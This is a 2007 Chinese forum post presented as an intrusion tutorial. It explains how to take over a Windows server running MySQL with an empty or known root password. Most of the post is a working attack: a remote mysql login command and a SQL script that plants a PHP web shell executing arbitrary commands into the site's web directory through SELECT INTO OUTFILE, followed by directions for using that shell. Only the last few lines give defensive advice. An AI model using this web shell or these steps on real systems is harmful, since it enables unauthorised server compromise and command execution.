热搜词
发表于 2007-10-4 07:23:16 | 显示全部楼层 |阅读模式
许多NT和win2000机器上面装有mysql和php。而mysql默认数据库root账号为空,这就给入侵者一个途径来入侵该机器。如果修改了数据库root的账号密码,而IIS的一些其他漏洞导致源代码泄漏也可能看到数据库的账号和密码。假设我们已经拿到了数据库的密码,看看我们如何通过mysql数据库来获得该机器的一定权限。 <BR>首先通常情况下,一般mysql和php配合使用,大多数NT和win2000的机器上如果使用php一般都会使用mysql。而默认情况下windows上的mysql是允许远程连接的。而装在linux等上的mysql是不允许远程连接的。入侵的思路是写一个shell脚本到web目录。就可以通过这个shell教本来执行命令了。而一般情况下,windows的web服务器是IIS,默认也是支持asp脚本的。网上也随处可见asp的sehll脚本,只要将这个asp的脚本传到web目录就好了。但是我觉得那些脚本都比较麻烦。而如果目标机器上面有php的话就可以用php脚本了。在这里我用php脚本来写shell。首先我们要用mysql的客户端连结到该机器,并执行我们的sql语句来在web目录生成php的shell脚本。 <BR>C:&#92;mysql&#92;bin&gt;mysql -h xxx.xxx.xxx.xxx -uroot &lt;php.sql <BR><BR>C:&#92;mysql&#92;bin&gt; <BR><BR>下面是php.sql的内容: <BR>use test; <BR>create table tmp(cmd TEXT); <BR>insert into tmp values(&#39;&lt;body onload=document.form1.cmd.focus()&gt;&lt;?if (isset($cmd)){$cmd=stripslashes($cmd);exec(&#92;"$cmd &gt; temp.dat&#92;");}?&gt;&lt;style type=&#92;"text/css&#92;"&gt;&lt;!&#92;-&#92;- .form1 {BACKGROUND: #FFFFFF; BORDER-BOTTOM: #666666 1px solid; BORDER-LEFT: #666666 1px solid; BORDER-RIGHT: #666666 1px solid; BORDER-TOP: #666666 1px solid; COLOR: #3c464f; FONT-SIZE: 9pt; clip: rect( ); cursor: text; height: auto; width: auto; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px&#92;-&#92;-&gt;&lt;/style&gt;&lt;p class=&#92;"title2&#92;"&gt;&nbsp;&lt;/p&gt;&lt;form name=&#92;"form1&#92;" method=&#92;&#92;"post&#92;" action=&#92;"/cmd2.php&#92;"&gt; &lt;input type=&#92;"text&#92;" name=&#92;"cmd&#92;" size=&#92;"50&#92;" class=&#92;"form1&#92;"&gt;&lt;/form&gt;&lt;form name=&#92;"form2&#92;" method=&#92;"post&#92;" action=&#92;"&#92;"&gt; &lt;p&gt; &lt;textarea name=&#92;"text&#92;" cols=&#92;"120&#92;" rows=&#92;"50&#92;" class=&#92;"form1&#92;"&gt;&lt;?if(isset($cmd)){readfile(&#92;"temp.dat&#92;");unlink(&#92;"temp.dat&#92;");}?&gt;&lt;/textarea&gt; &lt;/p&gt;&lt;/form&gt;&lt;/body&gt;&#39;); <BR>select * from tmp into outfile &#39;d:&#92;&#92;new&#92;&#92;cmd2.php&#39;; <BR>drop table tmp; <BR><BR>上面的sql语句是创建一个名字为tmp的table,将脚本输入到数据库,然后再将这个脚本保存成d:&#92;new&#92;cmd2.php。然后删除tmp这个我们创建的table。这里的d:&#92;new的目录是该机器的web目录。然后我们就可以在浏览器中输入http://xxx.xxx.xxx.xxx/cmd2.php,就可以利用这个shell执行命令了。至此我们已经获得了该网站的一个guest权限的shell了。我们可以通过这个shell脚本写个ftp脚本来上传文件,也可以利用这个shell来进行其他guest权限能够执行的一些东东了。这里需要注意的是如果cmd2.php已经存在了这个sql脚本是不能运行成功的。这个php脚本不能写成功。 <BR>关键的问题在于获得数据库的密码并且能够找到web目录。然后一切都不成问题了。 <BR>安全建议:设置mysql数据库的密码,并且要有一定的强度。设置好IIS避免泄漏源代码,不要直接在web目录编辑脚本等文件,因为有些编辑器会自动产生一个备份文件,一般为.bak的扩展名,这样恶意攻击者就可能直接打开这个.bak文件从而泄漏源代码,比如global.asa.bak。 <BR>
全部评论0
回复
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|Archiver|手机版|小黑屋|管理员之家 ( 苏ICP备2023053177号-2 )

GMT+8, 2024-11-23 00:58 , Processed in 0.142343 second(s), 22 queries .

Powered by Discuz! X3.5

Cpoyright © 2001-2024 Discuz! Team